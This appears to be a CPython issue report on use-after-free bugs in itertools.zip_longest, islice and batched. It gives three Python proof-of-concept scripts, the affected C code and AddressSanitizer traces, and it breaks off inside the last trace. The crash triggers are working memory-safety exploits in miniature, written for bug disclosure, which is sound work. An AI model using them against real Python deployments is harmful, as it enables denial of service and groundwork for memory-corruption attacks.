Skip to content

Use-after-free in itertools.zip_longest_next/islice/batched via re-entrant iterator #142732

@jackfromeast

Description

@jackfromeast

What happened?

In zip_longest_next, each entry is read from lz->ittuple then PyIter_Next runs, but a crafted iterator reenters zip_longest_next, trips the cleanup path for the same slot, and decrements the iterator to zero while the outer frame still holds the pointer. When control returns it keeps using that freed iterator and chain_next_lock_held observes the dangling memory, leading to a use-after-free.

Similar cases found in itertools.islice and itertools.batched as well.

Proof of Concept:

import itertools


class Reenter:
    def __iter__(self):
        return self

    def __next__(self):
        z = self.zip_longest
        if z is None:
            raise StopIteration
        self.zip_longest = None
        next(z, None)
        raise StopIteration


driver = Reenter()
driver.zip_longest = itertools.zip_longest(itertools.chain(driver), itertools.repeat(None))
next(driver.zip_longest)
import itertools
import operator

SLICE = None

class Trigger:
    armed = False
    def __iter__(self):
        return self
    def __next__(self):
        if Trigger.armed:
            raise StopIteration
        Trigger.armed = True
        operator.countOf(SLICE, object())
        Trigger.armed = False
        return None

SLICE = itertools.islice(Trigger(), 2, 4)
operator.countOf(SLICE, object())
import itertools

class Evil:
    def __init__(self):
        self.state = 0
        self.reenter = False
        self.owner = None
    def __iter__(self):
        return self
    def __next__(self):
        if self.reenter:
            self.reenter = False
            raise StopIteration
        if self.state == 0:
            self.state = 1
            return 0
        if self.state == 1:
            self.state = 2
            self.reenter = True
            try:
                next(self.owner)
            except StopIteration:
                pass
            self.reenter = False
            return 1
        raise StopIteration

src = Evil()
batched = itertools.batched(src, 3)
src.owner = batched
del src
next(batched)

Affected Versions:

Details
Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:111bbc15b26, Oct 28 2025, 16:51:20) ASAN 1
Python 3.10.19+ (heads/3.10:014261980b1, Oct 28 2025, 16:52:08) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.11.14+ (heads/3.11:88f3f5b5f11, Oct 28 2025, 16:53:08) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.12.12+ (heads/3.12:8cb2092bd8c, Oct 28 2025, 16:54:14) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.13.9+ (heads/3.13:9c8eade20c6, Oct 28 2025, 16:55:18) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.14.0+ (heads/3.14:2e216728038, Oct 28 2025, 16:56:16) [Clang 18.1.3 (1ubuntu1)] ASAN 1
Python 3.15.0a1+ (heads/main:f5394c257ce, Oct 28 2025, 19:29:54) [GCC 13.3.0] ASAN 1

Vulnerable Code and Sanitizer Ouput for zip_longest_next:

Details
static PyObject *
zip_longest_next(PyObject *op)
{
    ziplongestobject *lz = ziplongestobject_CAST(op);
    Py_ssize_t i;
    Py_ssize_t tuplesize = lz->tuplesize;
    PyObject *result = lz->result;
    PyObject *it;
    PyObject *item;
    PyObject *olditem;

    if (tuplesize == 0)
        return NULL;
    if (lz->numactive == 0)
        return NULL;
    if (Py_REFCNT(result) == 1) {
        Py_INCREF(result);
        for (i=0 ; i < tuplesize ; i++) {
            it = PyTuple_GET_ITEM(lz->ittuple, i);
            if (it == NULL) {
                item = Py_NewRef(lz->fillvalue);
            } else {
                /* Side Effect: Trigger the __next__ and we reenter the zip_longest_next again and leverage the following Py_DECREF(it); to free the it.*/
                item = PyIter_Next(it);
                if (item == NULL) {
                    lz->numactive -= 1;
                    if (lz->numactive == 0 || PyErr_Occurred()) {
                        lz->numactive = 0;
                        Py_DECREF(result);
                        return NULL;
                    } else {
                        item = Py_NewRef(lz->fillvalue);
                        PyTuple_SET_ITEM(lz->ittuple, i, NULL);
                        Py_DECREF(it);
                    }
                }
            }
            olditem = PyTuple_GET_ITEM(result, i);
            PyTuple_SET_ITEM(result, i, item);
            Py_DECREF(olditem);
        }
        // bpo-42536: The GC may have untracked this result tuple. Since we're
        // recycling it, make sure it's tracked again:
        _PyTuple_Recycle(result);
    } else {
        result = PyTuple_New(tuplesize);
        if (result == NULL)
            return NULL;
        for (i=0 ; i < tuplesize ; i++) {
            it = PyTuple_GET_ITEM(lz->ittuple, i);
            if (it == NULL) {
                item = Py_NewRef(lz->fillvalue);
            } else {
                item = PyIter_Next(it);
                if (item == NULL) {
                    lz->numactive -= 1;
                    if (lz->numactive == 0 || PyErr_Occurred()) {
                        lz->numactive = 0;
                        Py_DECREF(result);
                        return NULL;
                    } else {
                        item = Py_NewRef(lz->fillvalue);
                        PyTuple_SET_ITEM(lz->ittuple, i, NULL);
                        Py_DECREF(it);
                    }
                }
            }
            PyTuple_SET_ITEM(result, i, item);
        }
    }
    return result;
}
=================================================================
==1988376==ERROR: AddressSanitizer: heap-use-after-free on address 0x50700010d238 at pc 0x62ddf930120d bp 0x7fff306d1560 sp 0x7fff306d1550
READ of size 8 at 0x50700010d238 thread T0
    #0 0x62ddf930120c in chain_next_lock_held Modules/itertoolsmodule.c:1916
    #1 0x62ddf930123c in chain_next Modules/itertoolsmodule.c:1927
    #2 0x62ddf8df3bee in iternext Objects/abstract.c:2868
    #3 0x62ddf8dfcb91 in PyIter_Next Objects/abstract.c:2918
    #4 0x62ddf92f6d82 in zip_longest_next Modules/itertoolsmodule.c:3857
    #5 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681
    #6 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449
    #7 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #8 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327
    #9 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #10 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001
    #12 0x62ddf90ed3f8 in PyEval_EvalCode Python/ceval.c:884
    #13 0x62ddf91e4507 in run_eval_code_obj Python/pythonrun.c:1365
    #14 0x62ddf91e4723 in run_mod Python/pythonrun.c:1459
    #15 0x62ddf91e557a in pyrun_file Python/pythonrun.c:1293
    #16 0x62ddf91e8220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #17 0x62ddf91e84f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #18 0x62ddf923974d in pymain_run_file_obj Modules/main.c:410
    #19 0x62ddf92399b4 in pymain_run_file Modules/main.c:429
    #20 0x62ddf923b1b2 in pymain_run_python Modules/main.c:691
    #21 0x62ddf923b842 in Py_RunMain Modules/main.c:772
    #22 0x62ddf923ba2e in pymain_main Modules/main.c:802
    #23 0x62ddf923bdb3 in Py_BytesMain Modules/main.c:826
    #24 0x62ddf8cbf645 in main Programs/python.c:15
    #25 0x7e762982a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #26 0x7e762982a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #27 0x62ddf8cbf574 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: 202d5dbb945f6d5f5a66ad50e2688d56affd6ecb)

0x50700010d238 is located 56 bytes inside of 72-byte region [0x50700010d200,0x50700010d248)
freed by thread T0 here:
    #0 0x7e7629cfc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x62ddf8ef196d in _PyMem_RawFree Objects/obmalloc.c:91
    #2 0x62ddf8ef3cd9 in _PyMem_DebugRawFree Objects/obmalloc.c:2955
    #3 0x62ddf8ef3d1a in _PyMem_DebugFree Objects/obmalloc.c:3100
    #4 0x62ddf8f1c06c in PyObject_Free Objects/obmalloc.c:1522
    #5 0x62ddf915acf7 in PyObject_GC_Del Python/gc.c:2435
    #6 0x62ddf92f801a in chain_dealloc Modules/itertoolsmodule.c:1869
    #7 0x62ddf8ee8481 in _Py_Dealloc Objects/object.c:3200
    #8 0x62ddf92f4909 in Py_DECREF Include/refcount.h:401
    #9 0x62ddf92f702b in zip_longest_next Modules/itertoolsmodule.c:3897
    #10 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681
    #11 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449
    #12 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #13 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327
    #14 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #15 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #16 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001
    #17 0x62ddf8e2a9b8 in _PyFunction_Vectorcall Objects/call.c:413
    #18 0x62ddf8f3d56b in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #19 0x62ddf8f3d680 in vectorcall_unbound Objects/typeobject.c:3033
    #20 0x62ddf8f5e976 in vectorcall_method Objects/typeobject.c:3104
    #21 0x62ddf8f6195b in slot_tp_iternext Objects/typeobject.c:10776
    #22 0x62ddf93011b4 in chain_next_lock_held Modules/itertoolsmodule.c:1906
    #23 0x62ddf930123c in chain_next Modules/itertoolsmodule.c:1927
    #24 0x62ddf8df3bee in iternext Objects/abstract.c:2868
    #25 0x62ddf8dfcb91 in PyIter_Next Objects/abstract.c:2918
    #26 0x62ddf92f6d82 in zip_longest_next Modules/itertoolsmodule.c:3857
    #27 0x62ddf9089593 in builtin_next Python/bltinmodule.c:1681
    #28 0x62ddf8edd364 in cfunction_vectorcall_FASTCALL Objects/methodobject.c:449
    #29 0x62ddf8e2ae7f in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169

previously allocated by thread T0 here:
    #0 0x7e7629cfd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x62ddf8ef2284 in _PyMem_RawMalloc Objects/obmalloc.c:63
    #2 0x62ddf8ef1655 in _PyMem_DebugRawAlloc Objects/obmalloc.c:2887
    #3 0x62ddf8ef16bd in _PyMem_DebugRawMalloc Objects/obmalloc.c:2920
    #4 0x62ddf8ef2f3b in _PyMem_DebugMalloc Objects/obmalloc.c:3085
    #5 0x62ddf8f1bf28 in PyObject_Malloc Objects/obmalloc.c:1493
    #6 0x62ddf8f4e03b in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
    #7 0x62ddf8f4e03b in _PyType_AllocNoTrack Objects/typeobject.c:2504
    #8 0x62ddf8f4e1c7 in PyType_GenericAlloc Objects/typeobject.c:2535
    #9 0x62ddf92f5297 in chain_new_internal Modules/itertoolsmodule.c:1810
    #10 0x62ddf92f8b45 in chain_new Modules/itertoolsmodule.c:1836
    #11 0x62ddf8f51346 in type_call Objects/typeobject.c:2448
    #12 0x62ddf8e2ac71 in _PyObject_MakeTpCall Objects/call.c:242
    #13 0x62ddf8e2af19 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:167
    #14 0x62ddf8e2af72 in PyObject_Vectorcall Objects/call.c:327
    #15 0x62ddf90a9056 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #16 0x62ddf90ece54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #17 0x62ddf90ed148 in _PyEval_Vector Python/ceval.c:2001
    #18 0x62ddf90ed3f8 in PyEval_EvalCode Python/ceval.c:884
    #19 0x62ddf91e4507 in run_eval_code_obj Python/pythonrun.c:1365
    #20 0x62ddf91e4723 in run_mod Python/pythonrun.c:1459
    #21 0x62ddf91e557a in pyrun_file Python/pythonrun.c:1293
    #22 0x62ddf91e8220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #23 0x62ddf91e84f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #24 0x62ddf923974d in pymain_run_file_obj Modules/main.c:410
    #25 0x62ddf92399b4 in pymain_run_file Modules/main.c:429
    #26 0x62ddf923b1b2 in pymain_run_python Modules/main.c:691
    #27 0x62ddf923b842 in Py_RunMain Modules/main.c:772
    #28 0x62ddf923ba2e in pymain_main Modules/main.c:802
    #29 0x62ddf923bdb3 in Py_BytesMain Modules/main.c:826
    #30 0x62ddf8cbf645 in main Programs/python.c:15

SUMMARY: AddressSanitizer: heap-use-after-free Modules/itertoolsmodule.c:1916 in chain_next_lock_held
Shadow bytes around the buggy address:
  0x50700010cf80: fd fd fd fd fd fd fa fa fa fa 00 00 00 00 00 00
  0x50700010d000: 00 00 00 02 fa fa fa fa fd fd fd fd fd fd fd fd
  0x50700010d080: fd fd fa fa fa fa fd fd fd fd fd fd fd fd fd fa
  0x50700010d100: fa fa fa fa fd fd fd fd fd fd fd fd fd fa fa fa
  0x50700010d180: fa fa fd fd fd fd fd fd fd fd fd fd fa fa fa fa
=>0x50700010d200: fd fd fd fd fd fd fd[fd]fd fa fa fa fa fa 00 00
  0x50700010d280: 00 00 00 00 00 00 00 00 fa fa fa fa 00 00 00 00
  0x50700010d300: 00 00 00 00 00 fa fa fa fa fa fd fd fd fd fd fd
  0x50700010d380: fd fd fd fd fa fa fa fa fd fd fd fd fd fd fd fd
  0x50700010d400: fd fd fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x50700010d480: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==1988376==ABORTING

Vulnerable Code and Sanitizer Ouput for itertools.islice:

Details
static PyObject *
islice_next(PyObject *op)
{
    isliceobject *lz = isliceobject_CAST(op);
    PyObject *item;
    PyObject *it = lz->it;                               // cached iterator pointer
    Py_ssize_t stop = lz->stop;
    PyObject *(*iternext)(PyObject *);

    if (it == NULL)
        return NULL;

    iternext = *Py_TYPE(it)->tp_iternext;                // grabs tp_iternext once
    ...
    item = iternext(it);                                 // re-enters Trigger.__next__
    if (item == NULL)
        goto empty;
    ...
empty:
    Py_CLEAR(lz->it);                                    // reentrant islice iteration frees 'it'
    return NULL;                                         // outer frame still holds stale 'it'
}

static Py_ssize_t
_PySequence_IterSearch(PyObject *seq, PyObject *obj, int operation)
{
    ...
    for (;;) {
        PyObject *item = PyIter_Next(it);                // reentrant next on the same islice
        if (item == NULL) {
            ...
        }
        ...
    }
}

static inline PyTypeObject *
_Py_TYPE(PyObject *ob)
{
    return ob->ob_type;                                  // crashes when 'ob' is the freed iterator
}
=================================================================
==282323==ERROR: AddressSanitizer: heap-use-after-free on address 0x513000020828 at pc 0x5f5241e8bd3d bp 0x7ffc9c619b90 sp 0x7ffc9c619b80
READ of size 8 at 0x513000020828 thread T0
    #0 0x5f5241e8bd3c in _Py_TYPE Include/object.h:277
    #1 0x5f5241e8bd3c in lookup_method_ex Objects/typeobject.c:2977
    #2 0x5f5241e8bd3c in lookup_method Objects/typeobject.c:3017
    #3 0x5f5241e8bd3c in vectorcall_method Objects/typeobject.c:3101
    #4 0x5f5241e8bd3c in slot_tp_iternext Objects/typeobject.c:10776
    #5 0x5f52422f7f5d in islice_next Modules/itertoolsmodule.c:1628
    #6 0x5f5241c88c93 in iternext Objects/abstract.c:2868
    #7 0x5f5241c88c93 in PyIter_Next Objects/abstract.c:2918
    #8 0x5f5241c88c93 in _PySequence_IterSearch Objects/abstract.c:2160
    #9 0x5f524237a335 in _operator_countOf_impl Modules/_operator.c:524
    #10 0x5f524237a335 in _operator_countOf Modules/clinic/_operator.c.h:984
    #11 0x5f5241cd03e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #12 0x5f5241cd03e7 in PyObject_Vectorcall Objects/call.c:327
    #13 0x5f5241b845a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #14 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #15 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001
    #16 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884
    #17 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365
    #18 0x5f524219416e in run_mod Python/pythonrun.c:1459
    #19 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293
    #20 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #21 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #22 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410
    #23 0x5f524220ce3c in pymain_run_file Modules/main.c:429
    #24 0x5f524220ce3c in pymain_run_python Modules/main.c:691
    #25 0x5f524220e71e in Py_RunMain Modules/main.c:772
    #26 0x5f524220e71e in pymain_main Modules/main.c:802
    #27 0x5f524220e71e in Py_BytesMain Modules/main.c:826
    #28 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #29 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #30 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

0x513000020828 is located 40 bytes inside of 328-byte region [0x513000020800,0x513000020948)
freed by thread T0 here:
    #0 0x79c18b0fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x5f5241e618f3 in subtype_dealloc Objects/typeobject.c:2852
    #2 0x5f5241ded1d8 in _Py_Dealloc Objects/object.c:3200
    #3 0x5f52420d8a49 in Py_DECREF_MORTAL Include/internal/pycore_object.h:482
    #4 0x5f52420d8a49 in PyStackRef_XCLOSE Include/internal/pycore_stackref.h:736
    #5 0x5f52420d8a49 in _PyFrame_ClearLocals Python/frame.c:101
    #6 0x5f52420d8a49 in _PyFrame_ClearExceptCode Python/frame.c:126
    #7 0x5f5242044052 in clear_thread_frame Python/ceval.c:1826
    #8 0x5f5242044052 in _PyEval_FrameClearAndPop Python/ceval.c:1850
    #9 0x5f5241b88f4c in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10403
    #10 0x5f524204f2a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x5f524204f2a5 in _PyEval_Vector Python/ceval.c:2001
    #12 0x5f5241e8bbc7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #13 0x5f5241e8bbc7 in vectorcall_unbound Objects/typeobject.c:3033
    #14 0x5f5241e8bbc7 in vectorcall_method Objects/typeobject.c:3104
    #15 0x5f5241e8bbc7 in slot_tp_iternext Objects/typeobject.c:10776
    #16 0x5f52422f7f5d in islice_next Modules/itertoolsmodule.c:1628
    #17 0x5f5241c88c93 in iternext Objects/abstract.c:2868
    #18 0x5f5241c88c93 in PyIter_Next Objects/abstract.c:2918
    #19 0x5f5241c88c93 in _PySequence_IterSearch Objects/abstract.c:2160
    #20 0x5f524237a335 in _operator_countOf_impl Modules/_operator.c:524
    #21 0x5f524237a335 in _operator_countOf Modules/clinic/_operator.c.h:984
    #22 0x5f5241cd03e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #23 0x5f5241cd03e7 in PyObject_Vectorcall Objects/call.c:327
    #24 0x5f5241b845a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #25 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #26 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001
    #27 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884
    #28 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365
    #29 0x5f524219416e in run_mod Python/pythonrun.c:1459
    #30 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293
    #31 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #32 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #33 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410
    #34 0x5f524220ce3c in pymain_run_file Modules/main.c:429
    #35 0x5f524220ce3c in pymain_run_python Modules/main.c:691
    #36 0x5f524220e71e in Py_RunMain Modules/main.c:772
    #37 0x5f524220e71e in pymain_main Modules/main.c:802
    #38 0x5f524220e71e in Py_BytesMain Modules/main.c:826
    #39 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #40 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #41 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

previously allocated by thread T0 here:
    #0 0x79c18b0fd9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5f5241e7588e in _PyObject_MallocWithType Include/internal/pycore_object_alloc.h:46
    #2 0x5f5241e7588e in _PyType_AllocNoTrack Objects/typeobject.c:2504
    #3 0x5f5241e75af4 in PyType_GenericAlloc Objects/typeobject.c:2535
    #4 0x5f5241e6d118 in type_call Objects/typeobject.c:2448
    #5 0x5f5241cce9cd in _PyObject_MakeTpCall Objects/call.c:242
    #6 0x5f5241b8cf33 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #7 0x5f524204ead6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #8 0x5f524204ead6 in _PyEval_Vector Python/ceval.c:2001
    #9 0x5f524204ead6 in PyEval_EvalCode Python/ceval.c:884
    #10 0x5f524219416e in run_eval_code_obj Python/pythonrun.c:1365
    #11 0x5f524219416e in run_mod Python/pythonrun.c:1459
    #12 0x5f5242198e17 in pyrun_file Python/pythonrun.c:1293
    #13 0x5f5242198e17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #14 0x5f524219993c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #15 0x5f524220ce3c in pymain_run_file_obj Modules/main.c:410
    #16 0x5f524220ce3c in pymain_run_file Modules/main.c:429
    #17 0x5f524220ce3c in pymain_run_python Modules/main.c:691
    #18 0x5f524220e71e in Py_RunMain Modules/main.c:772
    #19 0x5f524220e71e in pymain_main Modules/main.c:802
    #20 0x5f524220e71e in Py_BytesMain Modules/main.c:826
    #21 0x79c18ac2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #22 0x79c18ac2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #23 0x5f5241ba8634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

SUMMARY: AddressSanitizer: heap-use-after-free Include/object.h:277 in _Py_TYPE
Shadow bytes around the buggy address:
  0x513000020580: fd fd fd fd fd fd fd fd fd fd fd fd fd fa fa fa
  0x513000020600: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
  0x513000020680: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000020700: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x513000020780: 00 00 00 00 05 fa fa fa fa fa fa fa fa fa fa fa
=>0x513000020800: fd fd fd fd fd[fd]fd fd fd fd fd fd fd fd fd fd
  0x513000020880: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
  0x513000020900: fd fd fd fd fd fd fd fd fd fa fa fa fa fa fa fa
  0x513000020980: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x513000020a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x513000020a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==282323==ABORTING

Vulnerable Code and Sanitizer Ouput for itertools.batched:

Details
static PyObject *
batched_next(PyObject *op)
{
    batchedobject *bo = batchedobject_CAST(op);
    Py_ssize_t i;
    Py_ssize_t n = FT_ATOMIC_LOAD_SSIZE_RELAXED(bo->batch_size);
    PyObject *it = bo->it;
    PyObject *item;
    PyObject *result;

    if (n < 0) {
        return NULL;
    }
    result = PyTuple_New(n);
    if (result == NULL) {
        return NULL;
    }
    iternextfunc iternext = *Py_TYPE(it)->tp_iternext;
    PyObject **items = _PyTuple_ITEMS(result);
    for (i=0 ; i < n ; i++) {
        item = iternext(it);
        if (item == NULL) {
            goto null_item;
        }
        items[i] = item;
    }
    return result;

 null_item:
    if (PyErr_Occurred()) {
        if (!PyErr_ExceptionMatches(PyExc_StopIteration)) {
            /* Input raised an exception other than StopIteration */
            FT_ATOMIC_STORE_SSIZE_RELAXED(bo->batch_size, -1);
#ifndef Py_GIL_DISABLED
            Py_CLEAR(bo->it);
#endif
            Py_DECREF(result);
            return NULL;
        }
        PyErr_Clear();
    }
    if (i == 0) {
        FT_ATOMIC_STORE_SSIZE_RELAXED(bo->batch_size, -1);
#ifndef Py_GIL_DISABLED
        Py_CLEAR(bo->it);
#endif
        Py_DECREF(result);
        return NULL;
    }
    if (bo->strict) {
        FT_ATOMIC_STORE_SSIZE_RELAXED(bo->batch_size, -1);
#ifndef Py_GIL_DISABLED
        Py_CLEAR(bo->it);
#endif
        Py_DECREF(result);
        PyErr_SetString(PyExc_ValueError, "batched(): incomplete batch");
        return NULL;
    }
    _PyTuple_Resize(&result, i);
    return result;
}
=================================================================
==2207258==ERROR: AddressSanitizer: heap-use-after-free on address 0x51300001d3a8 at pc 0x600126d4dd3d bp 0x7ffe7249d8c0 sp 0x7ffe7249d8b0
READ of size 8 at 0x51300001d3a8 thread T0
    #0 0x600126d4dd3c in _Py_TYPE Include/object.h:277
    #1 0x600126d4dd3c in lookup_method_ex Objects/typeobject.c:2977
    #2 0x600126d4dd3c in lookup_method Objects/typeobject.c:3017
    #3 0x600126d4dd3c in vectorcall_method Objects/typeobject.c:3101
    #4 0x600126d4dd3c in slot_tp_iternext Objects/typeobject.c:10776
    #5 0x6001271c0582 in batched_next Modules/itertoolsmodule.c:209
    #6 0x600126ef2d8a in builtin_next Python/bltinmodule.c:1681
    #7 0x600126b923e7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #8 0x600126b923e7 in PyObject_Vectorcall Objects/call.c:327
    #9 0x600126a465a2 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:1620
    #10 0x600126f10ad6 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x600126f10ad6 in _PyEval_Vector Python/ceval.c:2001
    #12 0x600126f10ad6 in PyEval_EvalCode Python/ceval.c:884
    #13 0x60012705616e in run_eval_code_obj Python/pythonrun.c:1365
    #14 0x60012705616e in run_mod Python/pythonrun.c:1459
    #15 0x60012705ae17 in pyrun_file Python/pythonrun.c:1293
    #16 0x60012705ae17 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #17 0x60012705b93c in _PyRun_AnyFileObject Python/pythonrun.c:81
    #18 0x6001270cee3c in pymain_run_file_obj Modules/main.c:410
    #19 0x6001270cee3c in pymain_run_file Modules/main.c:429
    #20 0x6001270cee3c in pymain_run_python Modules/main.c:691
    #21 0x6001270d071e in Py_RunMain Modules/main.c:772
    #22 0x6001270d071e in pymain_main Modules/main.c:802
    #23 0x6001270d071e in Py_BytesMain Modules/main.c:826
    #24 0x709523c2a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #25 0x709523c2a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #26 0x600126a6a634 in _start (/home/jackfromeast/Desktop/entropy/targets/grammar-afl++-latest/targets/cpython/python+0x206634) (BuildId: 4d105290d0ad566a4d6f4f7b2f05fbc9e317b533)

0x51300001d3a8 is located 40 bytes inside of 328-byte region [0x51300001d380,0x51300001d4c8)
freed by thread T0 here:
    #0 0x7095240fc4d8 in free ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:52
    #1 0x600126d238f3 in subtype_dealloc Objects/typeobject.c:2852
    #2 0x600126caf1d8 in _Py_Dealloc Objects/object.c:3200
    #3 0x600126f9aa49 in Py_DECREF_MORTAL Include/internal/pycore_object.h:482
    #4 0x600126f9aa49 in PyStackRef_XCLOSE Include/internal/pycore_stackref.h:736
    #5 0x600126f9aa49 in _PyFrame_ClearLocals Python/frame.c:101
    #6 0x600126f9aa49 in _PyFrame_ClearExceptCode Python/frame.c:126
    #7 0x600126f06052 in clear_thread_frame Python/ceval.c:1826
    #8 0x600126f06052 in _PyEval_FrameClearAndPop Python/ceval.c:1850
    #9 0x600126a4af4c in _PyEval_EvalFrameDefault Python/generated_cases.c.h:10403
    #10 0x600126f112a5 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #11 0x600126f112a5 in _PyEval_Vector Python/ceval.c:2001
    #12 0x600126d4dbc7 in _PyObject_VectorcallTstate Include/internal/pycore_call.h:169
    #13 0x600126d4dbc7 in vectorcall_unbound Objects/typeobject.c:3033
    #14 0x600126d4dbc7 in vectorcall_method Objects/typeobject.c:3104
    #15 0x600126d4dbc7 in slot_tp_iternext Objects/typeobject.c:10776
    #16 0x6001271c0582 in batched_next Modules/itertoolsmodule.c:209
